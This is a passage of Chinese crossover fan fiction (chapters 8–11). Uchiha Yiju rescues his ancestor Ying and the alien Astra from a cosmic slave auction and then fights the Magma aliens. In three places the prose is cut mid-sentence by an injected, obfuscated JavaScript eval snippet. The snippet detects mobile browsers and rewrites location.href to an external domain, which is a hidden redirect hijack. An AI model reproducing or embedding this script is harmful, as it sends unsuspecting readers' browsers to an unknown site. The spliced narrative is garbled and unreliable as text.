“嗯?”他注意到地上的人形树茧,先是皱了皱眉,随后迅速明白过来:“原来如此,你放倒了这场拍卖会真正的客人,抢占了他的位置和筹码啊,能和人动手,看来你的身体的确已经痊愈了。呵,我就说,你怎么会来参加这种拍卖会,害得我受你这只眼睛的牵连,也莫名其妙出现在这里,为了在找到你之前不引人注意,还得先装作拍卖品……” “不过是你的话,我也实在已经习惯你那些乱七八糟的穿越了,这次就不跟你计较了。” “所以,这次你打算在这个世界待多久?还是说,我们能够去胡作非为一番?……呵,开玩笑的。” 这么说着,他转过头,却对上了一树纠结的目光。对方深深的注视着他,但那种眼神,与其说是近乡情怯,不如说是满眼陌生,甚至还带着两分难言的歉意和退缩之意,相反完全——完全没有他想看到的感情! “你——你那是什么眼神?”几乎是一瞬间,强烈的恐惧从人偶的身体深处蔓延开来。他飞也似的冲过来,双手紧紧的抓住一树的肩膀,脸上的表情从刚才的闲适,一下子变得凶恶起来。 “为什么要用这种眼神看着我?一树,你不认识我是谁了?!” “额……”那当然是完全不认识啊,但这样的话,根本说不出口呢! 毕竟从刚才对方的自说自话之中,一树已经清楚的认识到,他不仅认识自己,过去和自己的关系恐怕还很密切,甚至还知道自己频繁穿越的事情,也对,要是自己连珍贵的轮回眼都能交给一个不怎么熟悉的人,那才是滑天下之大稽呢,先祖们都能从坟里蹦跶出来教训他。 但也正因如此,事情就变得更尴尬了啊! 他要怎么跟对方解释,自己失忆的事情呢,要知道这件事,他自己也不明白啊。 还有,他又要怎么问这个倒霉的、被遗忘的家伙,要回自己的眼睛啊?! 8. 第八章 “额……那个,你先冷静一下啦。” 虽然脑海之中一片空白,但一树还是决定先安抚对方的情绪。总觉得对方那双眼睛,看起来就像要哭出来了一样,不过,人偶也会流泪吗? 他略作犹豫,还是挣开了对方按着自己肩膀的手,反手抱住对方,禁锢住对方的手臂,确认对方没法一拳揍在自己脸上,这才放心的说道:“对不起,我的确想不起来你是谁了……不过!我已经猜到,我们过去,一定是非常、非常亲密的朋友啦!毕竟,我把我的左眼都托付给你了嘛,你一定知道这只眼睛对我来说有多重要吧,对不对?” 听他提起自己眼眶里的那只左眼,人偶的愤怒倒是稍稍平息了两分。他回想起一树将眼睛送给他时满是依恋的神情,被他那样注视着的时候,即使是空心的人偶,也会感觉一阵阵暖意从身体深处蔓延开来。 但那时的他是如此的虚弱,甚至没有从床榻间坐起身的力气……而如今的他抱着自己的手,已经恢复了往日的强硬。 无论如何,这次痛苦的分离,的确为他带来了治愈的生机…… “哼,朋友,没错,被你随意遗忘的朋友。”他冷笑了一声,暂时决定放过对方。“你可是曾经说过,我是你唯一的朋友的!” 一树:“…………” 一树人都傻了。 鸣人大人在上,原来他们以前是那种关系吗?!还有,他居然真的跟带土大人一样,把左眼作为定情信物送出去了啊! 但是,对方又不是他的族人,他话里的意思,到底是真的朋友,还是木叶的朋友呢?!虽然这是同一个词语,写法和发音都一样,但是其中蕴含的含义,是完全不一样的啊! 不过、不对……把眼睛托付给要好的朋友,这种事情,也不是完全不可能发生的嘛!说不定他们就是单纯的好朋友……这样自己就不必有什么负罪感了,反正大家还可以继续做朋友嘛! 这样安慰着自己的一树,却不敢再看人偶漂亮的脸,万分心虚的挪开目光,不经意间看了一眼不远处的玻璃,下一刻,他就大力推开了怀里的人偶,猛地扑到了玻璃窗前。 “不是吧……萤大人!” 此时的圆台上,美菲拉斯星人单手托着一个玻璃瓶,用充满诱惑的语调激情讲说着。那躺在玻璃瓶底的小小的人类,紧紧闭着眼睛,凌乱的衣襟和散开的紫罗兰色长发衬得他好似一只折翼的蝴蝶。几乎是电光火石之间,一树猛地明白了过来,自己究竟穿越到了什么时间。 ——萤大人有着和你同样的体质,幼时也常常为之烦恼。有一次,他误入了一个陌生的时空,在那里和身为宇宙人的阿斯特拉相遇,据说在被他的父亲真冬大人找回去以前,他们一起经历了很多危险,为了保护他,阿斯特拉还受了伤……虽然他们很快就迎来了分离,但这段经历,此后他再没有忘记。 ——只可惜,那个宇宙的坐标后来遗失了,所以,尽管萤大人花费了大量的时间,去各个时空寻找他,却始终未能如愿以偿。 怀抱着这份思念,他实现了第三法,寂寞的、无望的度过了漫长的五百年岁月…… 回想起爸爸曾经告诉过自己的故事,一树的手用力握紧了。他扑回沙发旁,拉开电子屏下面的抽屉,一股脑把布袋里的果实都倒了进去,最后只留下了一个在手里。而在拍卖会正中的圆台之上,妙语连珠的美菲拉斯星人都被一瞬间暴涨的拍卖金惊得一时语塞,好半晌,才终于开口道:“……又是我们阔绰的贵客,013号客人,史无前例的大手笔,七颗星球能源!如果没人给出更高的价格,这个人类就归他所有了。” 自然谁也不会和他争抢,甚至大家一致觉得这个大筒木星人一定是脑子坏掉了,区区一个人类,哪有这样的价值呢? 倒是消息传到幕后,刚刚消灭了诸多星球,为这场宇宙拍卖会提供了大量拍卖品,正在飞船里饮酒作乐的马格马星人们都大感兴趣。为首的马格马提督站起身来,收起左手的长刀,对面前的部下们说道:“看来,我该去会会这位阔绰的贵客了,愿意拿出那么多星球能源用作交易,想必他的手里……一定还有更多吧!” 此时的一树却不知道自己的举动引起了宇宙闻名的佩刀暴君的注意,他抱着被工作人员送到房间里的萤,第一时间解开了紧紧扣在他脖子上、用以束缚他魔力的银质颈环,随后忍不住低下头,把脸贴在了他的额头上。“啊……好烫!他发烧了!” “这就是你以前说过的,养育你长大的先祖么。”虽然被推开的时候,人偶有一瞬的愤怒,不过在一树叫出对方的名字,认出那是一树口中如祖父一般的家人以后,他就了然的平静了下来。 家人啊……本来某人还说,回去以后,就会带家人来稻妻正式和他和母亲见面呢。 啧,算了,如今这样……也算他没有失约吧。 “他们对他用过刑。”他指了指萤身上碎裂的衣服,从破损的裂口可以看到鲜血已经干涸,但仍然没有做过任何处理的伤口。一树只是循着他手指的方向看了一眼,眼泪都要掉下来了,他赶紧伸过手去,用木遁治愈了那些狰狞的伤痕,然后把萤抱得更紧了,咬牙切齿的说道:“太过分了!太过分了!萤大人什么时候遭受过这样的虐待!” “所以,你又要插手这里的事了是吧。”人偶抱着胳膊,语气带着两分理所当然的了然。他并没有阻止一树的打算,而是转而问道:“你家先祖原本是怎么获救的,你知道吗?” “爸爸告诉我,是萤大人的父亲,宇智波真冬大人跨越时空找到了他,但他具体是怎么做到的,在什么时间、什么地点会找来,没人和我细说过,我并不清楚。”这么说着,一树朝他摇了摇头。 “不过,直到萤大人被带回自己的时空为止,他和阿斯特拉应该都没有分开才对……那么,阿斯特拉应该也在这里了!” 这个除了名字以外,不知道长相、不知道种族、不知道身份,却被家里所有人记挂的外星人,自己终于能在此地揭开他神秘的面纱了吗? 他究竟是个什么样的人,又是如何俘获自家先祖的心的呢? 想到这里,一时之间,一树觉得颇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814466|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些如梦似幻,不过很快,他就定了定神,下定了决心。 “对了,说到这个,我得赶紧把这个宇宙的时空坐标记下来才行!只要日后能找到这个宇宙,萤大人就不必再徒劳的等待了!” 这么说着,他手忙脚乱的腾出一只手,魔力化为文字,在半空中写出长长的句子,最后又如烟花般次第炸开,重新组合成一串长长的数字。他用写轮眼将其记录下来,忽然听到怀里传来一声低吟,低头一看,躺在他怀里的人慢慢睁开了灿金色的眼睛。 此时年方十五岁的宇智波萤,还远没有日后的沉稳和冷静,证据就是他从高热的昏睡中清醒过来的时候,对上一树关切的注视着他的脸,第一反应却是一拳往他脸上砸去。一树呆呆的,他的大脑还不能理解眼前的画面,即使眼看着萤对自己动手,也没有任何反抗的动作,还是人偶闪电般伸手过来,一把抓住萤的手腕:“ 你做什么?” 但萤很快甩开了他的手,一个翻身脱离了一树的怀抱,滚到了房间的角落里。他背靠着房间的转角,单膝跪地,身体微微拱起,是一个随时准备发起攻击的姿态,随后,他开口问道:“你们是什么人?” “当然是花钱买下你的人,这件事很难发现吗?”人偶没好气的说道。眼看着萤的脸色越发难看,一树连忙拉住了他的手,打开了自己的写轮眼,又伸出一只手,让木遁的树枝直接从自己手心里长出来:“不是啦,不要听这个家伙乱说,我是你的族人啦萤大人!我叫宇智波一树!” 再也没有比这更有力的证明,说明他是和自己血脉相连,都是千手柱间和宇智波斑的后裔了。萤的脸色一下子好了许多,但仍保留着几分怀疑:“是父亲大人让你们来找我的吗?为什么我之前都没有在族里见过你?还有,你的眼睛……?” “呵呵,你如果现在就能在族里见到我的话,那才是太糟糕了啦。”一树干笑了两声,下意识的脱口而出道:“因为我来自未来,是你的妹妹宇智波薰的孩子!” 额。这话刚出口,他就忍不住挠了挠后脑勺。好熟悉的发言哦,虽然自己也好久没有这么自我介绍过了。 想起过往回忆,由同样的话引起的诸多误会,一树赶紧补充道:“是后裔!是后裔啦!我出生的时候,薰大人已经去世近五百年时间了。” “……我明白了,你和我有着一样的体质,因而误入了陌生的时空,所以才会在这里和我偶遇,是吧。” 萤这么说着,灿金色的眼睛一下子黯淡了下来。“我还以为,是父亲终于找到我了……” “……虽然这个时空距离我的时间相去甚远,但它对我来说,并不是全然陌生的。” 一树哪里见得他这副失落的模样,忍不住朝他走过去,跪在他面前,把手放在他此时尚显单薄的肩膀上。 “萤大人,你要知道,对你来说是未来的事,对我来说,却是已经发生的过去。真冬大人如今已经在来接你的路上了,不久以后,他就会出现在你的面前,所以,不必难过,也不必担心,毕竟,薰大人还在家里,等着和您团聚呢!” 9. 第九章 提到妹妹宇智波薰,萤原本黯然的神色一下子就振奋了起来:一想到如果自己不能回去,家里的妹妹就要承受和他永远分离的痛苦,而因为他的突然消失,他们甚至没有做过一次正式的道别,这场猝不及防的别离就会像疤一样永远横在妹妹的心口,他就觉得心痛得快要死掉了。 无论如何,不能让他可爱的妹妹承受这种痛苦!萤在心里默默想到,然后,他抓住了一树搭在他肩膀上的手。 “我还要去救一个人。” 一树:“……” 他就知道,恋爱脑真是没救了。 “他对我来说很重要!这段时间,如果不是他一直在保护我,我恐怕都坚持不到和你见面了!” 似乎是害怕一树不愿意在此节外生枝,萤的声音一下子抬高了。 “我们明明只是陌路相逢,他被马格马星人毁灭了星球,失去了父母,还和哥哥失散,沦为俘虏,遭遇了这么多足以把一个人的灵魂摧毁的不幸,即使他对我敬而远之,冷眼旁观,也是理所当然的事,但他还是三番四次为了我顶撞那些人,因此被处以重刑……” 这么说着,他望着面前一树平静的眼睛,苦笑了一声:“……你是不是不相信,世上居然会有这种傻瓜?” 毕竟,如果不是他亲眼所见,如果不是他身在其中,他自己一定不会相信吧。 “不,我相信,他一定对你很好。”一树却给了他一个出乎意料的答案。 只有他对你很好,才能在如此短的时间里得到你的信任;只有他曾经不惜一切的保护过你,他才能成为你的那个“唯一”。 一树从一开始就没有怀疑过这件事。 “我只是……”他降低了声音,目光也往一边移了开去,不再和萤对视。“我只是觉得有点嫉妒。” “哈?!”旁边人偶像被触发了关键词一样叫出声来,气鼓鼓的抱起了手臂。“连你先祖的朋友都要嫉妒,你是这么小气的人吗?!” 一树却没有心思理会他。他的思维沉入了过往的回忆之中,那是发生在他从时空旅行中回到家里、并且送别了一路相伴的英灵先祖们之后的事情。 * “你以前都跟我说,阿斯特拉已经死了。” 一树把玩着爸爸桌子上的木雕人像。秀幸的书桌旁永远都摆着几个粗糙的木像,它们没有五官,没有特征,但无一例外的都在躯干上刻上了“阿斯特拉”这个名字,目标明确的指明了对象。 “爸爸骗人!柱间大人都跟我说了,这个叫阿斯特拉的人还活在宇宙的某个角落,所以萤大人才会实现第三法,就是为了找到他,他才要永生永世的活下去……” “呵,我怎么骗人了,难道我不能盼望他死吗?”秀幸不屑的朝屋顶翻了个白眼,随后把儿子抱在膝盖上,指着木雕同他介绍道:“甜心,告诉你哦,这是我的诅咒道具,心情不好的时候,往木头人上面扎两针,或者刻几刀,就会立刻高兴起来哦!” “额……”一树有点小纠结。“好歹是萤大人喜欢的人,爸爸你这么做不太好吧。” “切!”秀幸不以为然。“这个家在萤大人面前,哪有什么秘密可言啊,他一直都知道啊,要是他会为此伤心的话,我早就不这么干了。也是,毕竟我又不知道阿斯特拉长什么样,没有脸就是没有代入感呢。” “再说了,我只是诅咒他两下而已,难道还能跨越时空和宇宙应验在他身上吗?我要是那么厉害,早就找到他人了!有时候,我真希望他的死讯能早点传来,即使这会让萤大人心碎也没关系,不破不立,总比他永远被困在这件事里,像被命运的丝线缚住的倒吊人,无论是生是死都不得解脱的好!——” “爸爸!”一树害怕的叫了他一声,秀幸这才发现自己又在儿子面前流露出了冷酷的一面,连忙歉疚的亲了亲他吓得发白的脸颊。“不怕不怕,我只是说说而已啦,我要做什么,和你又没有关系,你不讨厌他也是可以的哦,蜜糖。” “嗯……”被他温柔的搂抱着,一树却流露出思索的表情来。 “爸爸,那如果有一天,这个阿斯特拉出现在我们面前了呢?”他搂着父亲的脖子问道。“也许有一天,他会像最温柔的天使一样降落在我们的世界,诚恳的向我们道歉,说他要把萤大人带走,让萤大人和他一起生活,那萤大人会留在这里,还是跟他走呢?” 有那么一瞬间,一树确信自己在父亲脸上看到了极为狰狞的表情,尽管他很快就收敛了过去。秀幸忍了又忍,还是忍不住把儿子的脸按在自己肩膀上,确认他看不到自己的神情以后,这才低声咒骂道:“他想得美!如果他想这么轻易就把萤大人带走,那我就要好好和他掰扯掰扯,五百年的等待究竟意味着什么!——他以为我们人类像他们长生种一样,五百年轻松度过得像过了五天一样吗?不、不是的!那看不到希望的每一天,都像一根根针扎在身上,如果不是经受了时间这么长久的折磨,萤大人又如何会变成如今这副模样——!” “……但是啊,但是。” 秀幸的语调突然低了下去。一树感觉到他抱着自己的手臂突然用力,随后又慢慢松了开去,像是他想要握紧命运,最终却还是选择放开手。 “如果真的有那么一天的话,虽然我觉得,我在有生之年应该是看不到了啦,但是如果真的有那么一天的话——” “放手让萤大人去做他想要的选择吧,一树。要让阿斯特拉知道,我们的爱,才不会输给不懂得时间的珍贵的外星人呢。哼!” * 如果不是一阵敲门声打断了一树的思绪,估计他还能在回忆里沉浸更久的时间。不过听到声音,萤单薄的背脊一下子绷紧了,一树感觉到他身上突然迸发的恐惧,不由轻轻拍了两下他的背,柔声说道:“应该是拍卖会的工作人员吧,别担心,我知道该怎么做了,由我来应付他们就好。” 他抬手结印,手放下的时候,身上的衣服已经变成了白色的长袍,霜色的长发垂在背后,一侧的刘海散落下来,盖住了左边那只颜色不同的眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814467|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头顶则伸出两只长长的尖角,打扮得和被他放倒的大筒木一族别无二致。 随后,他指挥着藤蔓把树茧藏在房间一角以后,径直坐回沙发上,让藤蔓打开了房门。一张巨大的脸出现在门外,形状古怪的眼睛眨巴眨巴,饶有兴趣的打量着屋里的一切。 看到缩成一团,躲在墙角的萤,马格马提督玩味一笑,转头对一树说道:“这个人类很倔强,很爱反抗,在飞船上的时候就几次想要逃跑,我们教训了他好几次,才让他老实下来。客人,别怪在下没有提醒你,这么快就解开他的颈环,恐怕会给你带来不小的麻烦哦。” 他虽然嘴上说的是人类,但话语间形容得却像萤是什么不听话的小猫小狗一样,对他满是贬低,一树心里很不高兴,板着脸冷冷的开口道:“谁说——他是人类了。” “哦?”马格马提督挑了挑眉。一树平淡的继续说道:“他是我的族人,因为做了错事,逃出了母星,大长老下了命令,让我们不惜一切代价,必须抓他回去,还要多谢你们帮忙,省了我们抓捕的力气了。” “原来如此,我就说,他怎么会毫无征兆的突然出现在我们的飞船上,害我们以为被敌人潜入了,如果是你们的族人,那倒是不奇怪了。毕竟你们大筒木一族,最擅长的就是时空跳跃了嘛。” 这么说着,马格马提督将庞大的身躯缩小成人类的大小,走进了这间藤蔓密布的屋子。在枝叶遮掩的昏暗的房间里,大筒木星人是整个屋子里最耀眼的那片白色,他淡紫色的眼睛凝视着他,明明那么娇小美丽,却让他隐约察觉了一点难以描摹的危险。 ——不过,这个仗着强悍的伴生怪兽十尾,在宇宙中横行霸道,四处掠夺星球能源、让一颗颗星球在永夜中寂灭的种族,恶名本来也不比佩刀暴君差就是了。 “难怪你愿意花费七颗星球能源买下他,为了重要的族人,这点花销就算不了什么了。” “别忘了你答应我的事!”听着他们之间的交谈,萤突然出声说道。“你不想知道大长老为什么要求你们必须把我活捉回去吗?这件事可是关系到——!” “闭嘴!这里哪有你说话的份!我答应你的事,自然会做到,希望你也不要把我当傻瓜,以为随便说点什么,就能欺骗我!” 一树凌厉的瞪了他一眼,打断了他的发言,确认他不再说话之后,这才转而对马格马提督说道:“他告诉我,在飞船上,他受到了一个名叫阿斯特拉的奴隶的帮助,因而很是感激他,所以我想问一下,这个阿斯特拉……是否也是你们今天拍卖的商品呢?” “……当然,当然啦!”这两个奴隶之间发生的事,马格马提督一直看在眼里,闻言不由会心一笑。尽管在此之前,这两个始终不肯屈服的人给他们招来了不少麻烦,但看在他们今天让他大赚一笔的份上,他就不多计较了。 想到这里,他弯下腰,朝一树做了个邀请的姿势。 “像你这样的贵客,想要什么,我们自然都是要双手奉上的,又怎么会让你失望呢。” 10. 第十章 马格马提督邀请一树去战舰上看他想要的“商品”,一树欣然应允,不过,在对方先一步踏上舰桥,让他们在甲板上等候的时候,人偶偷偷把什么东西塞到了一树的手里。 “快换上!”他催促道,却在一树朝他看过去的时候,用力扭开了脸。 一树:“……”其实摸到这个圆圆的形状,他已经猜到这是什么了,但有生以来第一次有人把眼睛放在自己手里,感觉还是好复杂! 本来以为会很费劲,结果却这么轻而易举的拿回了自己的眼睛,甚至什么都没有付出……但此时他心底涌动着的,到底是高兴,还是生气呢? “你那是什么表情啊?不想要的话,就还给我。”最终还是人偶不爽的叫出了声。虽然他做这件事,也不是为了让某人感激他,但这种出乎意料的冷淡反应,看着还真是让人火大! “哼,这么期待我的反应的话,刚才把脸扭过去干嘛?而且,我感觉,你根本不明白这只眼睛有多珍贵……”一树这么说道,抬头扫了他一眼,发现他转向自己的脸上,眼眶并不是空的,而是换回了另一只漂亮的宝石蓝眼珠,全然看不出半点受伤的痕迹,不由小小的松了口气。也对,毕竟他是人偶嘛。 他迅速低头,把眼睛和那枚玻璃珠子换了过来,又把玻璃珠塞给了人偶。“这个才是你的东西吧?还给你。” “我不知道这只眼睛有多珍贵?”人偶用力握紧了那只神之眼,被他的话气笑了。“我知道即使在你的家族里,过去干出把眼睛送人的事的人也只有一个,而且,没有这只眼睛,你就不能使用须佐能乎,也不能随意链接别人、不能随意影响别人的感情,你这个小偷窥狂,这段时间恐怕失去了很多趣味吧!因为没法愉快的偷窥别人的记忆,气得内心崩溃,又哭又闹,呜呜呜呜,好可怜呐!呵,我会不知道这只眼睛有多珍贵?!” “哼!”这回换成萤在冷哼了。即使在这么危机的情况下,即使对一树毫不犹豫的选择帮助他和阿斯特拉充满了感激,但在听了人偶说的话以后,萤仍是忍不住用恨铁不成钢的眼神瞪了对方一眼。 完全把老底都透给人家了啊,你这个恋爱脑! 一树脸都气红了:“……” 可恶,被谁说都无所谓,但是实在不想被全家认可的知名恋爱脑萤大人这么说呢! 虽然但是,现在实在不是计较这些的时候,还是得把注意力转移到正事上来。趁着马格马星人不在,一树飞快的说道:“虽然不知道你是怎么知道这件事的,但是,我身上的确没有更多可供交易的筹码了……所以,做好战斗的准备吧,我的打算是把阿斯特拉硬抢过来,然后夺取这艘战舰的操控权,然后我们就逃走!” “你的心事全部写在脸上,我想不知道也很难呢,虽然指望你这种冲动无脑的人能做出什么精准的计划,是我期望太高了。”人偶讽刺了他一句,但与此同时,一树感觉到风元素透过那枚玻璃珠,在他身上迅速汇集,最终停在了爆发的界点上……果然没错,那就是他的东西。 然后,他就不再多想了,因为一个留着双马尾的女性马格马星人出现在他们面前,给了他们一个可以飞行载人的小型平台,热情的邀请他们一同登上了舰桥。 ——再然后,阿斯特拉就出现在了一树的眼前。 身为外星人的他,出乎意料的,长相并不像一树想的那样酷似人类。他和马格马星人一样,身高几十米,浑身火红,身上覆盖着外骨骼一般的防护甲板,腹部上方还镌刻着一个古怪的符号。他低垂着头,被几条锁链牢牢吊着四肢,锁在舰桥一角,浑身上下伤痕累累,尤其头上更是惨不忍睹。一树注意到他头上原本有着犄角一类的东西,但现在却只剩两个狰狞的断口,显然比起脆弱的人类,马格马星人对待他的态度更加残酷无情…… “这就是你想见的人?”但为了扮演冷酷无情的大筒木,一树还是强行无视了他凄惨的伤势,冷着脸说道。“他不会已经死了吧?如果他死在这里,你可不要怪在我头上,借此无视我们的交易……” “哈哈,放心,他没那么容易死,只是一时间晕过去了而已!”一个马格马星人笑着说道,走过去抓去阿斯特拉的头,一拳砸在了他的腹部。阿斯特拉发出一声疼痛的闷哼,慢慢睁开了那双闪烁着橙黄色光芒的六边形眼睛。 见此情形,萤把牙齿咬的咯咯作响。察觉到他快要抑制不住冲上去的冲动,一树不动声色的挡在他的身前,故意露出欣喜的神情来。“这样最好,把他的身体缩小吧,我要把他带走。” “那很容易,喂,没听到客人说的话吗?赶紧自己变小!”刚才那个马格马星人又踢了阿斯特拉一脚。后者没有反抗,只是深深的看了萤一眼,随后,他缓慢缩小成了人类的高度,被马格马星人抓着放在了平台上。 一树皱起了眉——随着阿斯特拉身体的缩小,原本绑在他身上的锁链也跟着松了开来,但他的大腿上勒着的腿环,却跟着他的变化而变小了,仍然紧紧套在他的腿上。 ……马格马星人该不会能通过这个操控他吧? “阿斯特拉!”萤却再顾不得其他,扑上去紧紧抱住了他。从外星人的伤口上流出光一般闪闪发亮的东西,粘了萤一头一脸,但对方的表情并不见痛苦,居然还称得上温柔,阿斯特拉伸手摸了摸萤的脸颊,关切的询问道:“你的烧退了吗?” 就好像比起自己,他更担心的是萤的身体一样。 “我没事了,你不用担心。我的族人来找我了,他会把我带回母星去的。” 萤看了一树一眼,努力做出畏惧的神态来。几乎是下一秒,一树就感觉一道凌厉的目光朝自己看了过来,却又很快遮掩了下去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814468|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这样也好……”虽然他们族人之间,似乎也有些矛盾,但总归是一家人,留在这里,才是不知道会遭受什么折磨。 “还有你,你要跟我一起走!”萤这么说道,尽管有所控制,语气仍然诡异的逐渐变得高昂起来。“我和他做了约定,我可以付出所有,只要你能跟我一起离开——” “咳咳。”一树实在受不了他那狂热的语气,忍不住连连咳嗽——天可怜见,他长那么大,见惯了月亮一样清冷的先祖,却还是第一次看到这么热情如火的萤大人啊! “哼,你该庆幸你还有和我交易的价值。”他忍着嫉妒的胃痛,转而对马格马提督说道:“我要带走他,不知道要付出什么?” “小事一桩,总不好超过你为族人付出的代价,不如……就给六颗星球能源吧,然后,他就是你的了!” 马格马提督毫不掩饰自己的畅快。 一想到他在这场拍卖会里能得到十五颗星球能源,他就完全抑制不住自己上扬的嘴角。毕竟,大筒木一族也不是时时都愿意把星球能源拿出来交易的,他们是相当孤僻的种族,总是笼罩着一层神秘的面纱,并不爱和其他宇宙种族来往。也是为了保住这个出手阔绰的冤大头,他才没有主动出手抢夺——若是能建立长期交易关系,将来无论对方想要什么,他们都能从宇宙各处给他抢来啊! 抱着这样愉快的期盼,他看着这个大筒木星人朝他凑了过来:“那真是太……感谢你了!” ——话音未落,一道刺眼的紫光突然从他身上迸发开来。虚空中生出虚幻的骨骼,随后是经脉、血肉、盔甲、武器,直到一只巨大的紫色天狗顶替了一树刚才站立的位置,他扇动翅膀,挥动手里的薙刀,朝着马格马提督的头颅一斩而下! “……多谢你,给我这个把他们一并夺走的机会!” “铛!”是薙刀和马格马提督左臂上弹出的佩刀大力相撞的声音。佩刀暴君又惊又怒,朝着敌人发出一声刺耳的咆哮,然而,一树的攻击已经如同骤雨般席卷而来——数根巨木穿透船舱,将宽敞的舰桥空间切割得四分五裂,霎时间,飞船的控制系统发出可怖的红光,刺耳的警笛声顿时充满了整个舰桥。 几个马格马星人躲闪不及,被巨木刺中身躯,几乎瞬间就被巨木上弹射而出的藤蔓卷入其中,连哀嚎声都发不出,就脱力的倒了下去。 另一边,人偶乘风而起,浑身亮起青色的纹路,灵巧的闪过两个马格马星人伸过来的手臂。他目标明确,直扑驾驶座上掌控着操纵杆的舵手而去,舰桥上的其他外星人大惊失色,试图阻止他,却被席卷而上的狂风吹得睁不开眼睛,颠三倒四的撞在一起,而灵活的人偶已经出现在驾驶座上方,狂风压缩空气,化变为粉碎一切烦恼的空洞,他一脚下去,作为舵手的马格马星人登时软倒在了驾驶座上,失去了意识。 11. 第十一章 让阿斯特拉老实坐在平台上,叮嘱他不要乱动,免得伤上加伤之后,萤转过头来,望向面前一片混乱的舰桥。 一树在借助须佐能乎的翅膀脱离平台之后,不忘用木遁将平台围了一圈,显然是担心两个伤患不能自保,会被反击过来的马格马星人重创。不过,他虽然是一片好意,见此情形,萤的心里却骤然憋了一口气——在这个后辈心里,自己这个先祖,难道是这么没用的人吗? 不满的情绪如水般充盈了整个胸腔。萤催动体内的魔力,没有了颈环的束缚,元素之力很快涌入他的身体,一轮冰蓝色的暗月从他的背后缓缓升起,月光落在他雪白的侧脸上,衬得他灿金色的眼眸越发明亮若星。 随后,寒冷如冰的月色凝结成一束黯淡的死光,化作一发光炮从暗月之中激射而出,直接洞穿了不远处挥动着佩刀,朝着平台疾冲过来的马格马星人! “……命运与我等之月同在。” 萤吟唱着古老的魔咒,整个人忽然融入了背后的暗月之中,而随着他的身影再次出现在平台上,冰蓝色的月亮整个炸裂开来,散做了漫天流光,月光好似利箭一般朝着四周激射而去,外星人那比之人类过于高大的身躯,反而害得他们完全无法躲开冻人的月光,只能眼睁睁看着如雨的光箭落在自己身上,又哀嚎着次第倒下。 眼看着舰桥的人员没一会儿便倒了满地,正和马格马提督纠缠在一处的一树不由露出了微笑。“看来快要结束了。”他心平气和的同面前的外星人说道。“真的很感谢你请我们过来,让我们能一次性解决所有事……” “你不是大筒木星人!”意识到自己受到了欺骗,马格马提督咬牙切齿的说道。“你到底是谁?” “我么?我叫宇智波一树,和被你们抓住的萤大人的确系出同族。”到这一步,已经没必要伪装了,是以一树解除了变身术,恢复了自己原本的面貌。 他站在须佐能乎的头部,朝着马格马提督微微颔首:“不过这双轮回眼是真的,我的身体里也的确流着大筒木的血,所以,也不算完全骗人吧。” “说起来,还要多谢这几天,你对我家萤大人的照顾……”他的声音低沉了下去。马格马提督背后一凛,一股危险的预感油然而生,让他的手臂瞬间泛起了暗色的雷光。但面前天狗武士模样的幻影只是张开巨大的翅膀,用力向外一扬。 “那就……让你好好感受一下痛苦吧!” ——神罗天征! 霎时间,以须佐能乎为中心,舰桥里的所有器物都被一双看不见的手重重推了出去,并在暴力之下摔得粉碎!马格马提督下意识的抬手格挡,但那力量落到他的身上,却被他身上的仿制黑暗铠甲直接挡了下来,最终化为了淡淡的流风。 于是,作为交换,套着须佐能乎的一树整个人直接倒飞出去,直到撞到舰桥的墙壁,方才停了下来。 “一树!”人偶几乎第一时间飞掠过来,焦急的打量着他身上的伤势。“你是笨蛋吗?!与其说那些自以为很酷,其实蠢的要死的狠话,不如学会更谨慎的对待你的敌人——” “我没事。”虽然因为承受了反弹回来的神罗天征的重击,须佐能乎有一瞬的涣散,不过一树的魔力在呼吸间就已经充盈了整个身体,是以天狗涣散的虚影在下一刻就凝实了。 “只是以前从没遇到过这样的情况……唔,是我小看了外星科技啊。” 不能成功击倒对方,自己就会被反作用力击倒,本来就是神罗天征的特性,只不过一树过去施展的时候,从来没有遇到过失败的情况就是了。考虑到他本来也很少和人交手,这也算是一种经验不足的表现吧。 “等等……不好,萤大人!”突然,一树悚然一惊,站起身里往敌人的方向一看——然而,已经太迟了,明白自己硬碰硬不一定能打败这位不明来历的对手的马格马提督,第一时间就把目标转移到了不远处的萤身上,大手迅速朝着对方抓了过去。他手臂上缠绕着的不祥的黑色雷光,也随着他的动作落下,眼看就要落到萤的身上,关键时候,却有一双火红的手从萤背后伸过来,一把将人类从平台上推了下去。 